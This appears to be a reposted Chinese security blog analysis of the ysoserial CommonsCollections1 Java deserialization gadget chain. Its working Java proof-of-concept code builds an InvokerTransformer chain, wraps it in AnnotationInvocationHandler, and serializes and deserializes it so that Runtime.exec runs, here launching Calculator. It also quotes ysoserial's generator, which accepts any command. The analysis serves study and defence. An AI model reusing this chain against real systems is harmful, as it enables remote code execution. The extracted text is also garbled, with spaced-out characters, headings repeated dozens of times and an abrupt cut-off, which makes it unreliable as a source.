搜索

[6621] 2020-04-05_ysoserial分析之CommonsCollections1

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-17
2020-04-05_ysoserial分析之CommonsCollections1 y s o s e r i a l 分 析 之 C o m m o n s C o l l e c t i o n s 1 E 安 全   2 0 2 0 - 0 4 - 0 5 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 q i q i n g N o . 1 N o . 1 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 N o . 2 N o . 2 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 C o m m o n s C o l l e c t i o n s 1   漏 洞 利 漏 洞 利 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 用 A p a c h e   C o m m o n s   C o l l e c t i o n s 是 一 个 扩 展 了 J a v a 标 准 库 里 的 C o l l e c t i o n 结 构 的 第 三 方 基 础 库 ， 它 提 供 了 很 多 强 有 力 的 数 据 结 构 类 型 并 且 实 现 了 各 种 集 合 工 具 类 。 作 为 A p a c h e 开 源 项 目 的 重 要 组 件 ， C o m m o n s   C o l l e c t i o n s 被 广 泛 应 用 于 各 种 J a v a 应 用 的 开 发 。 它 是 一 个 基 础 数 据 结 构 包 ， 同 时 封 装 了 很 多 功 能 ， 其 中 我 们 需 要 关 注 一 个 功 能 ： T r a n s f o r m i n g   d e c o r a t o r s   t h a t   a l t e r   e a c h   o b j e c t   a s   i t   i s   a d d e d   t o   t h e   c o l l e c t i o n 转 化 装 饰 器 ： 修 改 每 一 个 添 加 到 c o l l e c t i o n 中 的 o b j e c t C o m m o n s   C o l l e c t i o n s 实 现 了 一 个 T r a n s f o r m e d M a p 类 ， 该 类 是 对 J a v a 标 准 数 据 结 构 M a p 接 口 的 一 个 扩 展 。 该 类 可 以 在 一 个 元 素 被 加 入 到 集 合 内 时 ， 自 动 对 该 元 素 进 行 特 定 的 修 饰 变 换 ， 具 体 的 变 换 逻 辑 由 T r a n s f o r m e r 类 定 义 ， T r a n s f o r m e r 在 T r a n s f o r m e d M a p 实 例 化 时 作 为 参 数 传 入 。 o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . T r a n s f o r m e r 这 个 类 可 以 满 足 固 定 的 类 型 转 化 需 求 ， 其 转 化 函 数 可 以 自 定 义 实 现 ， 我 们 的 漏 洞 触 发 函 数 就 是 在 于 这 个 点 。 这 里 需 要 着 重 说 下 T r a n s f o r m e r 和 他 相 关 的 类 这 里 先 贴 一 段 代 码 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。
p a c k a g e   y s o s e r i a l . c e s h i ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . C h a i n e d T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . C o n s t a n t T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . I n v o k e r T r a n s f o r m e r ; i m p o r t   j a v a . l a n g . R u n t i m e ; p u b l i c   c l a s s   t r a n s f o r m e r   {       p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )       {               T r a n s f o r m e r [ ]   t r a n s f o r m e r s   =   n e w   T r a n s f o r m e r [ ] {                       n e w   C o n s t a n t T r a n s f o r m e r ( R u n t i m e . c l a s s ) ,                       n e w   I n v o k e r T r a n s f o r m e r ( " g e t M e t h o d " ,   n e w   C l a s s [ ] { S t r i n g . c l a s s , C l a s s [ ] . c l a s s } , n e w   O b j e c t [ ] { " g e t R u n t i m e " ,   n e w   C l a s s [ 0 ] } ) ,                       n e w   I n v o k e r T r a n s f o r m e r ( " i n v o k e " ,   n e w   C l a s s [ ] { O b j e c t . c l a s s , O b j e c t [ ] . c l a s s } , n e w   O b j e c t [ ] { n u l l ,   n e w   O b j e c t [ 0 ] } ) ,                       n e w   I n v o k e r T r a n s f o r m e r ( " e x e c " ,   n e w   C l a s s [ ] { S t r i n g . c l a s s } ,   n e w   O b j e c t [ ] { " / S y s t e m / A p p l i c a t i o n s / C a l c u l a t o r . a p p / C o n t e n t s / M a c O S / C a l c u l a t o r " , } ) ,               } ;               T r a n s f o r m e r   t r a n s f o r m e r C h a i n   =   n e w   C h a i n e d T r a n s f o r m e r ( t r a n s f o r m e r s ) ;               t r a n s f o r m e r C h a i n . t r a n s f o r m ( n u l l ) ;       } } 首 先 先 构 建 了 一 个 T r a n s f o r m e r 数 组 ， T r a n s f o r m e r 是 一 个 接 口 ， 他 定 义 的 数 组 都 是 继 承 这 个 接 口 的 类 ， 进 入 这 个 数 组 ， 进 入 第 一 个 元 素 。 C o n s t a n t T r a n s f o r m e r 类 在 实 例 化 时 ， 会 将 传 入 的 对 象 赋 值 给 i C o n s t a n t ， 然 后 在 实 现 T r a n s f o r m e r 的 接 口 方 法 中 ， 会 返 回 这 个 类 ， 之 后 进 入 I n v o k e r T r a n s f o r m e r 类 。
目 前 需 要 关 注 的 是 m e t h o d N a m e 这 个 参 数 ， 这 里 i M e t h o d N a m e 是 g e t M e t h o d ， 在 t r a n s f o r m 接 口 方 法 中 ， 实 现 的 是 反 射 操 作 ， 假 设 i n p u t 是 r u n t i m e 对 象 ， 那 返 回 的 就 是 反 射 调 用 的 J a v a . l a n g . R u n t i m e 中 的 g e t R u n t i m e ( ) 方 法 。 这 里 引 出 一 个 新 的 问 题 ， 反 射 如 何 调 用 e x e c 执 行 命 令 ？ p a c k a g e   y s o s e r i a l . c e s h i ; i m p o r t   j a v a . l a n g . r e f l e c t . M e t h o d ; p u b l i c   c l a s s   f a n s h e   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n         {               C l a s s   r u n   =   C l a s s . f o r N a m e ( " j a v a . l a n g . R u n t i m e " ) ;               M e t h o d   g e t r u n   =   r u n . g e t M e t h o d ( " g e t R u n t i m e " ) ;               M e t h o d   e x e c   =   r u n . g e t M e t h o d ( " e x e c " , S t r i n g . c l a s s ) ;               e x e c . i n v o k e ( g e t r u n . i n v o k e ( r u n ) , " / S y s t e m / A p p l i c a t i o n s / C a l c u l a t o r . a p p / C o n t e n t s / M a c O S / C a l c u l a t o r " ) ;       } } 反 射 调 用 需 要 获 取 类 的 名 字 ， 一 般 用 C l a s s . f o t n a m e 获 取 ， 之 后 从 这 个 类 中 使 用 g e t M e t h o d 获 取 需 要 调 用 的 方 法 ， 最 后 用 i n v o k e 方 法 调 用 这 个 方 法 ， 这 里 以 R u n t i m e 类 为 例 子 ， 首 先 获 取 R u n t i m e 类 的 类 名 ， 然 后 获 取 g e t R u n t i m e 静 态 方 法 ， 因 为 R u n t i m e 类 的 构 造 函 数 是 私 有 方 法 ， 只 能 用 g e t R u n t i m e 方 法 获 取 类 的 实 例 ， 之 后 获 取 R u n t i m e 的 e x e c 方 法 ， 这 个 方 法 是 执 行 命 令 的 方 法 ， 也 需 要 获 取 ， e x e c 不 是 静 态 方 法 ， 在 i n v o k e 方 法 中 需 要 传 入 o b j e c t ， 所 以 ， 需 要 先 调 用 g e t r u n 生 成 R u n t i m e 的 对 象 ， g e t R u n t i m e 方 法 是 静 态 方 法 ， 他 在 调 用 i n v o k e 需 要 传 入 的 是 类 名 ， 反 射 调 用 时 ， 满 足 以 上 条 件 后 就 能 弹 出 计 算 器 。 回 到 T r a n s f o r m e r 数 组 中 ， 假 设 ， 继 承 t r a n s f o r m e r s 接 口 的 对 象 ， 他 们 的 t r a n s f o r m 方 法 返 回 的 值 能 从 上 到 下 传 递 ， 那 第 一 个 C o n s t a n t T r a n s f o r m e r 类 返 回 的 是 R u n t i m e 类 ， 之 后 进 入 n e w   I n v o k e r T r a n s f o r m e r ( " g e t M e t h o d " ,   n e w   C l a s s [ ] { S t r i n g . c l a s s , C l a s s [ ] . c l a s s } , n e w O b j e c t [ ] { " g e t R u n t i m e " ,   n e w   C l a s s [ 0 ] } ) 。 在 I n v o k e r T r a n s f o r m e r 中 ， 明 明 就 有 g e t M e t o d ， 这 里 为 啥 要 传 入 g e t M e t h o d 呢 ， 因 为 在 I n v o k e r T r a n s f o r m e r ， 需 要 传 入 2 个 参 数 ， 但 是 R u n t i m e 是 无 参 数 的 ， 所 以 ， 需 要 变 动 一 下 。 p s : 那 如 果 不 用 R u n t i m e 呢 ， 使 用 P r o c e s s B u i l d e r 行 不 行 呢 最 后 介 绍 一 下 C h a i n e d T r a n s f o r m e r 类
没 啥 好 说 的 ， 就 是 一 个 完 美 的 工 具 类 ， 调 试 一 遍 t r a n s f o r m 方 法 ， 看 下 利 用 链 是 如 何 触 发 的 。 第 一 次 进 入 循 环 ， 返 回 的 是 j a v a . l a n g . R u n t i m e . c l a s s 对 象 。 第 二 次 进 入 循 环 ， g e t C l a s s 方 法 返 回 一 个 C l a s s 对 象 ， 之 后 用 g e t M e t h o d 方 法 调 用 C l a s s 对 象 的 g e t M e t h o d 方 法 ， 有 点 绕 口 ， 这 里 可 以 看 成 是 反 射 调 用 反 射 ， 因 为 g e t M e t h o d 方 法 需 要 2 个 参 数 所 以 需 要 传 入 n e w   C l a s s [ ] { }   ， 最 后 返 回 g e t M e t h o d . i n v o k e ( j a v a . l a n g . R u n t i m e , " g e t R u n t i m e " ) ， g e t M e t h o d 返 回 的 方 法 ， 这 里 相 当 于 返 回 j a v a . l a n g . R u n t i m e . g e t R u n t i m e ， 接 下 来 是 调 用 这 个 方 法 。 第 三 次 进 入 循 环 ， 因 为 i n p u t 是 一 个 方 法 ， g e t C l a s s 方 法 返 回 的 是 一 个 M e t h o d 对 象 ， 之 后 获 取 M e t h o d 对 象 的 i n v o k e 方 法 ， 这 个 i n v o k e 方 法 也 是 需 要 2 个 参 数 ， 也 需 要 传 入 n e w   C l a s s { } ， 最 后 相 当 于 是 i n v o k e . i n v o k e ( j a v a . l a n g . R u n t i m e . g e t R u n t i m e , n u l l ) ， 返 回 了 一 个 R u n t i m e 对 象 。
第 四 次 进 入 循 环 ， i n p u t 是 一 个 R u n t i m e 对 象 ， 回 到 最 初 的 反 射 调 用 ， 命 令 执 行 成 功 ， 这 里 可 能 会 有 同 学 要 问 了 ： 为 啥 不 这 样 执 行 呢 ？ 因 为 J a v a . l a n g . R u n t i m e 这 个 对 象 不 能 被 反 序 列 化 ， 所 以 不 能 这 么 执 行 。 核 心 的 利 用 链 明 白 了 ， 还 需 要 明 白 如 何 被 调 用 的
p a c k a g e   y s o s e r i a l . c e s h i ; i m p o r t   j a v a . u t i l . H a s h M a p ; i m p o r t   j a v a . u t i l . M a p ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . C h a i n e d T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . C o n s t a n t T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . I n v o k e r T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . m a p . T r a n s f o r m e d M a p ; p u b l i c   c l a s s   c o m m o n s C o l l e c t i o n s C e s h i 1   {       p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   {               / / 此 处 构 建 了 一 个 t r a n s f o r m e r s 的 数 组 ， 在 其 中 构 建 了 任 意 函 数 执 行 的 核 心 代 码               T r a n s f o r m e r [ ]   t r a n s f o r m e r s   =   n e w   T r a n s f o r m e r [ ]   {                       n e w   C o n s t a n t T r a n s f o r m e r ( R u n t i m e . c l a s s ) ,                       n e w   I n v o k e r T r a n s f o r m e r ( " g e t M e t h o d " ,   n e w   C l a s s [ ]   { S t r i n g . c l a s s ,   C l a s s [ ] . c l a s s   } ,   n e w   O b j e c t [ ]   { " g e t R u n t i m e " ,   n e w   C l a s s [ 0 ]   } ) ,                       n e w   I n v o k e r T r a n s f o r m e r ( " i n v o k e " ,   n e w   C l a s s [ ]   { O b j e c t . c l a s s ,   O b j e c t [ ] . c l a s s   } ,   n e w   O b j e c t [ ]   { n u l l ,   n e w   O b j e c t [ 0 ]   } ) ,                       n e w   I n v o k e r T r a n s f o r m e r ( " e x e c " ,   n e w   C l a s s [ ]   { S t r i n g . c l a s s   } ,   n e w   O b j e c t [ ] { " / S y s t e m / A p p l i c a t i o n s / C a l c u l a t o r . a p p / C o n t e n t s / M a c O S / C a l c u l a t o r " } )               } ;               / / 将 t r a n s f o r m e r s 数 组 存 入 C h a n i e d T r a n s f o r m e r 这 个 继 承 类               T r a n s f o r m e r   t r a n s f o r m e r C h a i n   =   n e w   C h a i n e d T r a n s f o r m e r ( t r a n s f o r m e r s ) ;               / / 创 建 M a p 并 绑 定 t r a n s f o r m e r C h i n a               M a p   i n n e r M a p   =   n e w   H a s h M a p ( ) ;               i n n e r M a p . p u t ( " v a l u e " ,   " v a l u e " ) ;               / / 给 予 m a p 数 据 转 化 链               M a p   o u t e r M a p   =   T r a n s f o r m e d M a p . d e c o r a t e ( i n n e r M a p ,   n u l l ,   t r a n s f o r m e r C h a i n ) ;               / / 触 发 漏 洞               M a p . E n t r y   o n l y E l e m e n t   =   ( M a p . E n t r y )   o u t e r M a p . e n t r y S e t ( ) . i t e r a t o r ( ) . n e x t ( ) ;               / / o u t e r M a p 后 一 串 东 西 ， 其 实 就 是 获 取 这 个 m a p 的 第 一 个 键 值 对 （ v a l u e , v a l u e ） ； 然 后 转 化 成 M a p . E n t r y 形 式 ， 这 是 m a p 的 键 值 对 数 据 格 式               o n l y E l e m e n t . s e t V a l u e ( " f o o b a r " ) ;       } } 这 里 需 要 了 解 T r a n s f o r m e d M a p 类
d e c o r a t e 方 法 是 返 回 一 个 T r a n s f o r m e d M a p 对 象 ， 其 中 v a l u e T r a n s f o r m e r 是 我 们 传 入 的 T r a n s f o r m e r 数 组 ， 在 T r a n s f o r m e d M a p 类 里 还 有 一 个 很 重 要 的 函 数 在 s e t V a l u e 的 时 候 就 会 触 发 这 个 函 数 ， 进 入 我 们 之 前 的 利 用 链 ， m a p 选 择 h a s h m a p ， 因 为 他 继 承 了 反 序 列 化 接 口 ， 现 在 还 需 要 一 个 r e a d o b j e c t 里 面 会 调 用 s e t V a l u e 的 入 口 来 调 用 p o p 链 ， 在 j d k   7 ， 这 个 入 口 就 是 s u n . r e f l e c t . a n n o t a t i o n . A n n o t a t i o n I n v o c a t i o n H a n d l e r 。 p a c k a g e   y s o s e r i a l . c e s h i ; i m p o r t   j a v a . i o . F i l e I n p u t S t r e a m ; i m p o r t   j a v a . i o . F i l e O u t p u t S t r e a m ; i m p o r t   j a v a . i o . O b j e c t I n p u t S t r e a m ; i m p o r t   j a v a . i o . O b j e c t O u t p u t S t r e a m ; i m p o r t   j a v a . l a n g . a n n o t a t i o n . A n n o t a t i o n ; i m p o r t   j a v a . u t i l . H a s h M a p ; i m p o r t   j a v a . u t i l . M a p ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . C h a i n e d T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . C o n s t a n t T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . I n v o k e r T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . m a p . T r a n s f o r m e d M a p ; / / i m p o r t   s u n . r e f l e c t . a n n o t a t i o n . A n n o t a t i o n I n v o c a t i o n H a n d l e r ; i m p o r t   s u n . r e f l e c t . a n n o t a t i o n . A n n o t a t i o n P a r s e r ; i m p o r t   j a v a . l a n g . a n n o t a t i o n . R e t e n t i o n ; i m p o r t   j a v a . l a n g . r e f l e c t . C o n s t r u c t o r ; p u b l i c   c l a s s   c o m m o n s C o l l e c t i o n s C e s h i 1   {       p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   {               / / 此 处 构 建 了 一 个 t r a n s f o r m e r s 的 数 组 ， 在 其 中 构 建 了 任 意 函 数 执 行 的 核 心 代 码               T r a n s f o r m e r [ ]   t r a n s f o r m e r s   =   n e w   T r a n s f o r m e r [ ]   {                       n e w   C o n s t a n t T r a n s f o r m e r ( R u n t i m e . c l a s s ) ,                       n e w   I n v o k e r T r a n s f o r m e r ( " g e t M e t h o d " ,   n e w   C l a s s [ ]   { S t r i n g . c l a s s ,   C l a s s [ ] . c l a s s   } ,   n e w   O b j e c t [ ]   { " g e t R u n t i m e " ,   n e w   C l a s s [ 0 ]   } ) ,                       n e w   I n v o k e r T r a n s f o r m e r ( " i n v o k e " ,   n e w   C l a s s [ ]   { O b j e c t . c l a s s ,   O b j e c t [ ] . c l a s s   } ,   n e w   O b j e c t [ ]   { n u l l ,   n e w   O b j e c t [ 0 ]   } ) ,
                      n e w   I n v o k e r T r a n s f o r m e r ( " i n v o k e " ,   n e w   C l a s s [ ]   { O b j e c t . c l a s s ,   O b j e c t [ ] . c l a s s   } ,   n e w   O b j e c t [ ]   { n u l l ,   n e w   O b j e c t [ 0 ]   } ) ,                       n e w   I n v o k e r T r a n s f o r m e r ( " e x e c " ,   n e w   C l a s s [ ]   { S t r i n g . c l a s s   } ,   n e w   O b j e c t [ ] { " / S y s t e m / A p p l i c a t i o n s / C a l c u l a t o r . a p p / C o n t e n t s / M a c O S / C a l c u l a t o r " } )               } ;               / / 将 t r a n s f o r m e r s 数 组 存 入 C h a n i e d T r a n s f o r m e r 这 个 继 承 类               T r a n s f o r m e r   t r a n s f o r m e r C h a i n   =   n e w   C h a i n e d T r a n s f o r m e r ( t r a n s f o r m e r s ) ;               / / 创 建 M a p 并 绑 定 t r a n s f o r m e r C h i n a               M a p   i n n e r M a p   =   n e w   H a s h M a p ( ) ;               i n n e r M a p . p u t ( " v a l u e " ,   " v a l u e " ) ;               / / 给 予 m a p 数 据 转 化 链               M a p   o u t e r M a p   =   T r a n s f o r m e d M a p . d e c o r a t e ( i n n e r M a p ,   n u l l ,   t r a n s f o r m e r C h a i n ) ;               / / 触 发 漏 洞               M a p . E n t r y   o n l y E l e m e n t   =   ( M a p . E n t r y )   o u t e r M a p . e n t r y S e t ( ) . i t e r a t o r ( ) . n e x t ( ) ;               / / o u t e r M a p 后 一 串 东 西 ， 其 实 就 是 获 取 这 个 m a p 的 第 一 个 键 值 对 （ v a l u e , v a l u e ） ； 然 后 转 化 成 M a p . E n t r y 形 式 ， 这 是 m a p 的 键 值 对 数 据 格 式               / / o n l y E l e m e n t . s e t V a l u e ( " f o o b a r " ) ;               / / 反 射 机 制 调 用 A n n o t a t i o n I n v o c a t i o n H a n d l e r 类 的 构 造 函 数               C l a s s   c l   =   C l a s s . f o r N a m e ( " s u n . r e f l e c t . a n n o t a t i o n . A n n o t a t i o n I n v o c a t i o n H a n d l e r " ) ;               C o n s t r u c t o r   c t o r   =   c l . g e t D e c l a r e d C o n s t r u c t o r ( C l a s s . c l a s s ,   M a p . c l a s s ) ;               / / 取 消 构 造 函 数 修 饰 符 限 制               c t o r . s e t A c c e s s i b l e ( t r u e ) ;               / / 获 取 A n n o t a t i o n I n v o c a t i o n H a n d l e r 类 实 例               O b j e c t   i n s t a n c e   =   c t o r . n e w I n s t a n c e ( R e t e n t i o n . c l a s s ,   o u t e r M a p ) ;               F i l e O u t p u t S t r e a m   f   =   n e w   F i l e O u t p u t S t r e a m ( " p . c e r " ) ;               O b j e c t O u t p u t S t r e a m   o u t   =   n e w   O b j e c t O u t p u t S t r e a m ( f ) ;               o u t . w r i t e O b j e c t ( i n s t a n c e ) ;               F i l e I n p u t S t r e a m   f i   =   n e w   F i l e I n p u t S t r e a m ( " p . c e r " ) ;               O b j e c t I n p u t S t r e a m   i n   =   n e w   O b j e c t I n p u t S t r e a m ( f i ) ;               i n . r e a d O b j e c t ( ) ;       } } 构 造 函 数 里 面 有 需 要 v a r 1 为 注 解 类 和 M a p ， 构 造 类 的 时 候 需 要 注 意
t h i s . m e m b e r V a l u e s 就 是 我 们 传 入 的 m a p 对 象 ， 在 r e a d o b j e c t 中 和 我 们 上 面 的 p o p 链 完 全 相 同 ， 完 美 。 明 白 了 C o m m o n s C o l l e c t i o n s 1 的 p o p 链 之 后 ， 可 以 分 析 在 y s o s e r i a l 中 ， 这 个 g a d g e t 是 怎 么 生 成 的 N o . 3 N o . 3 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的 y s o s e r i a l 是 如 何 产 生 是 如 何 产 生 G a d g e t 的 的
p u b l i c   I n v o c a t i o n H a n d l e r   g e t O b j e c t ( f i n a l   S t r i n g   c o m m a n d )   t h r o w s   E x c e p t i o n   { f i n a l   S t r i n g [ ]   e x e c A r g s   =   n e w   S t r i n g [ ]   {   c o m m a n d   } ; / /   i n e r t   c h a i n   f o r   s e t u p               T r a n s f o r m e r   t r a n s f o r m e r C h a i n   =   n e w   C h a i n e d T r a n s f o r m e r ( n e w   T r a n s f o r m e r [ ] {   n e w   C o n s t a n t T r a n s f o r m e r ( 1 )   } ) ; / /   r e a l   c h a i n   f o r   a f t e r   s e t u p                       f i n a l   T r a n s f o r m e r [ ]   t r a n s f o r m e r s   =   n e w   T r a n s f o r m e r [ ]   { n e w   C o n s t a n t T r a n s f o r m e r ( R u n t i m e . c l a s s ) , n e w   I n v o k e r T r a n s f o r m e r ( " g e t M e t h o d " ,   n e w   C l a s s [ ]   { S t r i n g . c l a s s ,   C l a s s [ ] . c l a s s   } ,   n e w   O b j e c t [ ]   { " g e t R u n t i m e " ,   n e w   C l a s s [ 0 ]   } ) , n e w   I n v o k e r T r a n s f o r m e r ( " i n v o k e " ,   n e w   C l a s s [ ]   { O b j e c t . c l a s s ,   O b j e c t [ ] . c l a s s   } ,   n e w   O b j e c t [ ]   { n u l l ,   n e w   O b j e c t [ 0 ]   } ) , n e w   I n v o k e r T r a n s f o r m e r ( " e x e c " , n e w   C l a s s [ ]   {   S t r i n g . c l a s s   } ,   e x e c A r g s ) / / n e w   C o n s t a n t T r a n s f o r m e r ( 1 ) } ; f i n a l   M a p   i n n e r M a p   =   n e w   H a s h M a p ( ) ; f i n a l   M a p   l a z y M a p   =   L a z y M a p . d e c o r a t e ( i n n e r M a p ,   t r a n s f o r m e r C h a i n ) ; f i n a l   M a p   m a p P r o x y   =   G a d g e t s . c r e a t e M e m o i t i z e d P r o x y ( l a z y M a p ,   M a p . c l a s s ) ; f i n a l   I n v o c a t i o n H a n d l e r   h a n d l e r   =   G a d g e t s . c r e a t e M e m o i z e d I n v o c a t i o n H a n d l e r ( m a p P r o x y ) ; R e f l e c t i o n s . s e t F i e l d V a l u e ( t r a n s f o r m e r C h a i n ,   " i T r a n s f o r m e r s " ,   t r a n s f o r m e r s ) ;   / /   a r m   w i t h   a c t u a l   t r a n s f o r m e r   c h a i n r e t u r n   h a n d l e r ; } 前 面 和 之 前 分 析 的 没 什 么 区 别 ， 关 键 是 后 面 的 4 句 代 码 。 f i n 